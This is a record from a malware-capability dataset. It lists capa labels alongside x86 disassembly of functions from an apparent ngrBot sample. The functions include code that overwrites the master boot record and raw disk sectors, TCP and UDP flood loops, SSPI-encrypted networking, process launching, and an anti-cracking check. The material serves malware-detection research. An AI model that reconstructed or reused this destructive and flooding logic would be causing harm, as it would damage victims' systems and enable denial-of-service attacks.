joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18c81c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
lea eax, [ebp - 0x198]
push eax
push 0x202
mov dword [ebp - 8], 1
mov dword [ebp - 4], 0x40000
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x18c81f2
xor eax, eax
mov esp, ebp
pop ebp
ret
push esi
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
je 0x18c821f
lea ecx, [ebp - 8]
push ecx
push 0x8004667e
push esi
call sub.WS2_32.dll_ioctlsocket
cmp eax, 0xffffffff
jne 0x18c8226
push esi
call sub.WS2_32.dll_closesocket
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea edx, [ebp - 4]
push edx
push 0x1002
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
push 4
lea eax, [ebp - 4]
push eax
push 0x1001
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
mov ecx, dword [ebp + 0xc]
push 0x10
push ecx
push esi
call sub.WS2_32.dll_connect
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x18c8670
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x190a7fc], 0
je 0x18c8680
xor eax, eax
pop ebp
ret
push esi
push 0x103c
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x18c875a
mov eax, dword [ebp + 8]
push eax
call fcn.018c9300
mov ecx, dword [ebp + 0xc]
add esp, 4
push ecx
mov dword [esi + 0x1030], eax
call sub.WS2_32.dll_htons
mov edx, 2
lea ecx, [esi + 0x102c]
mov word [ecx], dx
mov edx, dword [esi + 0x1030]
mov word [esi + 0x102e], ax
cmp edx, 0xffffffff
je 0x18c8749
test edx, edx
je 0x18c8749
test ax, ax
je 0x18c8749
push ecx
push 0x190a7fc
call fcn.018c81c0
add esp, 8
mov dword [esi], eax
test eax, eax
jbe 0x18c8749
mov eax, dword [esi + 0x1030]
push eax
call sub.WS2_32.dll_inet_ntoa
movzx ecx, word [esi + 0x102e]
push ecx
call sub.WS2_32.dll_ntohs
mov dword [esi + 0x1024], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
push 0
push 0
push 0x18c8640
push 0
mov dword [esi + 0x1028], eax
push 0
mov dword [0x190a7fc], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [0x190a7fc], 0
xor eax, eax
pop esi
pop ebp
ret
Function at 0x18c89b0
Capabilities:
Get client handle via schannel
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
xor edi, edi
push 0x34
lea eax, [ebp - 0x50]
push edi
push eax
mov dword [ebp - 4], edi
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
push edi
lea ebx, [esi + 0x10]
push ebx
push edi
push edi
lea ecx, [ebp - 0x54]
push ecx
push edi
push 2
xor eax, eax
push str.Microsoft_Unified_Security_Protocol_Provider
push edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x54], 4
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], 0x20
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x24], 0x1c
mov dword [ebp - 0x20], edi
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleW]
test eax, eax
jne 0x18c8afe
push edi
lea edx, [ebp - 0x10]
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 0x14], edx
lea edx, [ebp - 0x1c]
push edx
lea eax, [esi + 8]
push eax
mov eax, dword [ebp + 0xc]
push edi
push edi
push edi
push edi
push 0x8c11c
push eax
push edi
push ebx
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], 2
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x1c], edi
call dword [sym.imp.Secur32.dll_InitializeSecurityContextW]
cmp eax, 0x90312
jne 0x18c8afe
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
push ecx
push edx
push esi
call fcn.018c2be0
add esp, 0xc
cmp eax, dword [ebp - 0x10]
jne 0x18c8afe
lea eax, [ebp - 0x10]
push eax
call fcn.018c8760
mov ecx, dword [ebp + 0xc]
push 1
push ecx
push esi
call fcn.018c8790
add esp, 0x10
cmp eax, 1
jne 0x18c8afe
lea eax, [esi + 0x18]
push eax
push 4
lea eax, [esi + 8]
push eax
call dword [sym.imp.Secur32.dll_QueryContextAttributesW]
test eax, eax
jne 0x18c8afe
mov edx, dword [esi + 0x20]
add edx, dword [esi + 0x1c]
mov eax, dword [esi + 0x18]
mov ecx, dword [esi + 0x34]
add eax, edx
push eax
push ecx
mov dword [esi + 0x38], eax
call fcn.018c2490
add esp, 8
mov dword [esi + 0x34], eax
cmp eax, edi
je 0x18c8afe
mov eax, 1
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 0x2c]
push edx
call fcn.018c24a0
lea eax, [ebp - 0x10]
push eax
call fcn.018c8760
add esp, 8
add esi, 8
push esi
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
push ebx
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x18c8b30
Capabilities:
Encrypt data via sspi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 0x18]
add ebx, dword [esi + 0x34]
mov eax, dword [esi + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], eax
xor eax, eax
push 0x2c
push eax
lea ecx, [ebp - 0x44]
push ecx
mov dword [ebp - 4], eax
mov dword [ebp + 8], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x48], eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [esi + 4], 0
jne 0x18c8b9a
mov edx, dword [ebp + 0xc]
push edi
push edx
push esi
call fcn.018c2be0
add esp, 0xc
xor ecx, ecx
cmp eax, edi
sete cl
pop edi
pop esi
pop ebx
mov eax, ecx
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x18c8c77
jmp 0x18c8ba7
mov edi, dword [ebp + 8]
mov edx, dword [esi + 0x38]
mov eax, dword [esi + 0x34]
push edx
push eax
call fcn.018c24e0
mov eax, dword [esi + 0x20]
add esp, 8
cmp edi, eax
jb 0x18c8bc0
mov edi, eax
mov ecx, dword [ebp - 8]
push edi
push ecx
push ebx
call fcn.018c2440
mov edx, dword [esi + 0x34]
mov eax, dword [esi + 0x18]
mov ecx, dword [ebp - 0xc]
sub dword [ebp + 8], edi
add dword [ebp - 8], edi
mov dword [ebp - 0x40], edx
mov edx, dword [esi + 0x1c]
mov dword [ebp - 0x48], eax
xor eax, eax
push eax
mov dword [ebp - 0x30], edx
lea edx, [ebp - 0x18]
push edx
push eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x28], ecx
lea eax, [esi + 8]
lea ecx, [ebp - 0x48]
push eax
mov dword [ebp - 0x44], 7
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x10], ecx
call sub.Secur32.dll_EncryptMessage
test eax, eax
jne 0x18c8c7a
mov byte [ebp + 0xf], al
movzx eax, byte [ebp + 0xf]
lea eax, [eax + eax*2]
add eax, eax
add eax, eax
mov ecx, dword [ebp + eax - 0x48]
mov edx, dword [ebp + eax - 0x40]
lea edi, [ebp + eax - 0x48]
push ecx
push edx
push esi
call fcn.018c2be0
add esp, 0xc
mov dword [ebp - 4], eax
cmp eax, dword [edi]
jne 0x18c8c7d
mov al, byte [ebp + 0xf]
inc al
mov byte [ebp + 0xf], al
cmp al, 3
jb 0x18c8c35
cmp dword [ebp + 8], 0
jne 0x18c8ba4
mov edi, dword [ebp + 0x10]
mov dword [ebp - 4], edi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x18c9300
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push esi
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x18c9326
push esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x18c931f
pop esi
pop ebp
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
pop ebp
ret

Function at 0x18c9330
Capabilities:
Act as tcp client
Check for time delay via gettickcount
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3dc
mov eax, dword [ebp + 8]
push esi
push edi
push eax
mov dword [ebp - 4], 1
call fcn.018c9300
mov edx, dword [ebp + 0xc]
add esp, 4
mov ecx, 2
push edx
mov esi, eax
mov word [ebp - 0x14], cx
call sub.WS2_32.dll_htons
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov word [ebp - 0x12], ax
mov dword [ebp - 0x10], esi
call edi
mov esi, eax
call edi
mov edi, dword [ebp + 0x10]
imul edi, edi, 0x3e8
sub esi, eax
mov dword [ebp - 0x3d4], eax
cmp esi, edi
ja 0x18c941c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x18d5cbc], 0
jne 0x18c941b
xor esi, esi
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [ebp + esi*4 - 0xdc], eax
cmp eax, 0xffffffff
je 0x18c93c6
lea ecx, [ebp - 4]
push ecx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
inc esi
cmp esi, 0x32
jl 0x18c93a0
xor esi, esi
mov edi, edi
mov eax, dword [ebp + esi*4 - 0xdc]
push 0x10
lea edx, [ebp - 0x14]
push edx
push eax
call sub.WS2_32.dll_connect
inc esi
cmp esi, 0x32
jl 0x18c93d0
push 0x64
call ebx
xor esi, esi
nop
mov ecx, dword [ebp + esi*4 - 0xdc]
push ecx
call sub.WS2_32.dll_closesocket
inc esi
cmp esi, 0x32
jl 0x18c93f0
push 0x4b
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x3d4]
cmp eax, edi
jbe 0x18c9395
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x18c9430
Capabilities:
Check for time delay via gettickcount
Create udp socket
Encrypt data using rc4 ksa
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1a40
call fcn.018d0f10
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push eax
mov dword [ebp - 4], 1
call fcn.018c9300
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
mov eax, dword [ebp + 0xc]
add esp, 4
test eax, eax
je 0x18c9467
movzx eax, ax
jmp 0x18c9486
call edi
push eax
call main
add esp, 4
call fcn.018c3870
movzx eax, ax
cdq
mov ecx, 0xffff
idiv ecx
inc edx
movzx eax, dx
mov edx, 2
push eax
mov word [ebp - 0x14], dx
call sub.WS2_32.dll_htons
mov dword [ebp - 0x10], esi
mov word [ebp - 0x12], ax
xor esi, esi
mov edi, edi
call fcn.018c3870
cdq
mov ecx, 0xff
idiv ecx
inc esi
cmp esi, 0x1964
mov byte [ebp + esi - 0x1a41], dl
jl 0x18c94a0
call edi
mov esi, eax
call edi
mov edi, dword [ebp + 0x10]
imul edi, edi, 0x3e8
mov ebx, eax
sub esi, ebx
cmp esi, edi
ja 0x18c9574
jmp 0x18c94e0
cmp dword [0x18d5cbc], 0
jne 0x18c9574
xor esi, esi
nop
push 0x11
push 2
push 2
call sub.WS2_32.dll_socket
mov dword [ebp + esi*4 - 0xdc], eax
cmp eax, 0xffffffff
je 0x18c9516
lea edx, [ebp - 4]
push edx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
inc esi
cmp esi, 0x32
jl 0x18c94f0
xor esi, esi
mov edi, edi
mov edx, dword [ebp + esi*4 - 0xdc]
push 0x10
lea eax, [ebp - 0x14]
push eax
push 0
push 0x1964
lea ecx, [ebp - 0x1a40]
push ecx
push edx
call sub.WS2_32.dll_sendto
inc esi
cmp esi, 0x32
jl 0x18c9520
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov eax, dword [ebp + esi*4 - 0xdc]
push eax
call sub.WS2_32.dll_closesocket
inc esi
cmp esi, 0x32
jl 0x18c9551
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, edi
jbe 0x18c94e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x18c9d90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 4
push 0x1000
push 0x8000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
test eax, eax
jne 0x18c9dbe
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0x20000080
push 3
push 0
push 3
push 0xc0000000
push str..PHYSICALDRIVE0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x18c9dee
mov eax, 0xfffffffe
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
push 0
push 0x90018
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ecx
push esi
push edi
mov ecx, 0x2000
xor eax, eax
mov edi, dword [ebp - 8]
rep stosd dword es:[edi], eax
pop edi
pop esi
pop ecx
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea ecx, [ebp - 4]
push ecx
push 0x7e00
push edi
push ebx
call esi
test eax, eax
jne 0x18c9e4f
mov eax, 0xfffffffd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 4]
push edx
push 0x7e00
push edi
push ebx
call esi
test eax, eax
jne 0x18c9e80
mov eax, 0xfffffffc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 4]
push eax
push 0x8000
push edi
push ebx
call esi
test eax, eax
jne 0x18c9e80
push eax
lea ecx, [ebp - 4]
push ecx
push eax
push eax
push eax
push eax
push 0x9001c
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x18c9ec0
Capabilities:
Overwrite master boot record (mbr)
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
push 0x1ff
lea eax, [ebp - 0x207]
push 0
push eax
mov byte [ebp - 0x208], 0
call sub.MSVCRT.dll_memset
push 3
lea ecx, [ebp - 0x208]
push str.00100
push ecx
call fcn.018c3640
add esp, 0x18
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push str..PHYSICALDRIVE0
mov byte [ebp - 0xa], 0x55
mov byte [ebp - 9], 0xaa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x18c9f2a
or eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
push 0
push 0
push 0x90018
push esi
call edi
push 0
lea eax, [ebp - 8]
push eax
push 0x200
lea ecx, [ebp - 0x208]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
push 0
push 0
push 0x9001c
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x18ca080
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push esi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x18ca0d1
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push 0
lea ecx, [ebp - 4]
push ecx
mov ecx, dword [eax]
push edx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x18ca0d8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x18ca150
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x206]
push ecx
mov word [ebp - 0x208], ax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x18ca1ea
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.018c3690
mov edi, eax
lea eax, [ebp - 0x208]
push eax
call fcn.018c3690
add esp, 8
cmp edi, eax
pop edi
jbe 0x18ca1ea
lea ecx, [ebp - 0x208]
push ecx
call fcn.018c3690
push eax
lea edx, [ebp - 0x208]
push edx
push esi
call sub.MSVCRT.dll__memicmp
add esp, 0x10
test eax, eax
jne 0x18ca1ea
mov eax, dword [ebp + 0xc]
push eax
push esi
call fcn.018ca0f0
add esp, 8
test eax, eax
je 0x18ca1ea
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x18ca260
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.018c35f0
push 0x44
lea ecx, [ebp - 0x54]
push 0
push ecx
call fcn.018c35f0
add esp, 0x18
xor edx, edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x54]
push ecx
push edx
push edx
push 0x10
push edx
push edx
push edx
push edx
mov word [ebp - 0x24], dx
mov edx, dword [ebp + 8]
push edx
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret
Function at 0x18ca310
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1404
call fcn.018d0f10
push ebx
push esi
push edi
push 0x3ff
lea eax, [ebp - 0x403]
push 0
push eax
mov byte [ebp - 0x404], 0
call sub.MSVCRT.dll_memset
push 0x7ff
lea ecx, [ebp - 0x1003]
push 0
push ecx
mov byte [ebp - 0x1004], 0
call sub.MSVCRT.dll_memset
push 0x3ff
lea edx, [ebp - 0x803]
push 0
push edx
mov byte [ebp - 0x804], 0
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 8]
lea eax, [ebp + 0xc]
push eax
push ecx
lea edx, [ebp - 0x1404]
push 0x3fe
push edx
call sub.MSVCRT.dll__vsnprintf
lea eax, [ebp - 0x1404]
push eax
lea ecx, [ebp - 0x404]
push 0x18d13ec
push ecx
call sub.MSVCRT.dll_sprintf
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x40
push str.FUCKYOUU
call edi
push eax
push str.FUCKYOUU
call fcn.018c1e60
push eax
push str..pipe_08x_ipc
lea edx, [ebp - 0x804]
push 0x3ff
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x18
lea eax, [ebp - 0x404]
push eax
call edi
mov esi, eax
push esi
lea ecx, [ebp - 0x1004]
push 0x18d2a30
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea edx, [ebp - 0x1004]
push edx
call edi
push str.FUCKYOUU
mov ebx, eax
call edi
push eax
push esi
lea eax, [ebp - 0x404]
push str.FUCKYOUU
push eax
call fcn.018c1440
add esp, 0x10
push esi
lea ecx, [ebp - 0x404]
push ecx
lea edx, [ebp + ebx - 0x1004]
push edx
call fcn.018c2440
push 0x190ad74
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0
push 3
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x18ca473
push 0x190ad74
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea ecx, [ebp - 4]
push ecx
add ebx, esi
push ebx
lea edx, [ebp - 0x1004]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x190ad74
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x18ca5d0
Capabilities:
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
xor ebx, ebx
mov dword [ebp - 4], esi
cmp dword [0x18d594c], esi
jbe 0x18ca63b
push edi
mov edi, 0x18d594c
jmp 0x18ca5f0
mov eax, dword [edi]
mov ecx, dword [esi + 0x18d5948]
push 0x20
push eax
push 0x18d5834
push ecx
call fcn.018c1440
mov edx, dword [edi]
mov eax, dword [esi + 0x18d5948]
push edx
push eax
call fcn.018c1e60
add esp, 0x18
cmp eax, dword [esi + 0x18d5950]
jne 0x18ca64a
add dword [ebp - 4], eax
inc ebx
lea esi, [ebx + ebx*2]
add esi, esi
add esi, esi
cmp dword [esi + 0x18d594c], 0
lea edi, [esi + 0x18d594c]
ja 0x18ca5f0
pop edi
mov edx, dword [ebp - 4]
lea ecx, [ebx + ebx*2]
cmp edx, dword [ecx*4 + 0x18d5950]
je 0x18ca686
push 0
push 0
push 0
push 0x18ce750
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x30
push str.ngrBot_Error
push str.This_binary_is_invalid._r_n_r_nMain_reasons:_r_n__you_stupid_cracker_r_n__you_stupid_cracker..._r_n__you_stupid_cracker___r_n
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x18ca690
Capabilities:
Create process on windows
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x874
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x25a]
push ecx
mov word [ebp - 0x25c], ax
call sub.MSVCRT.dll_memset
xor edx, edx
push 0x616
push edx
lea eax, [ebp - 0x872]
push eax
mov word [ebp - 0x874], dx
call sub.MSVCRT.dll_memset
add esp, 0x18
push 0
push 0x26
lea ecx, [ebp - 0x25c]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x18ca6ed
mov esp, ebp
pop ebp
ret
push str.Internet_Explorer1explore.exe
lea edx, [ebp - 0x25c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x25c]
push ecx
push str.__s___S
lea edx, [ebp - 0x874]
push 0x617
push edx
call sub.MSVCRT.dll__snwprintf
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.018c35f0
push 0x44
lea ecx, [ebp - 0x54]
push 0
push ecx
call fcn.018c35f0
add esp, 0x2c
cmp dword [ebp + 0xc], 0
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
je 0x18ca75c
mov edx, 5
mov word [ebp - 0x24], dx
jmp 0x18ca762
xor eax, eax
mov word [ebp - 0x24], ax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x54]
push edx
push 0
push 0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x874]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret
Function at 0x18ca990
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x10
xor esi, esi
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.018c35f0
push 0x44
lea ecx, [ebp - 0x54]
push esi
push ecx
call fcn.018c35f0
xor edx, edx
add esp, 0x18
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], dx
call fcn.018c68b0
test eax, eax
jne 0x18ca9d6
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x54]
push edx
push 0
push 0
push 0x10
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x18ca9fa
mov esi, dword [ebp - 8]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret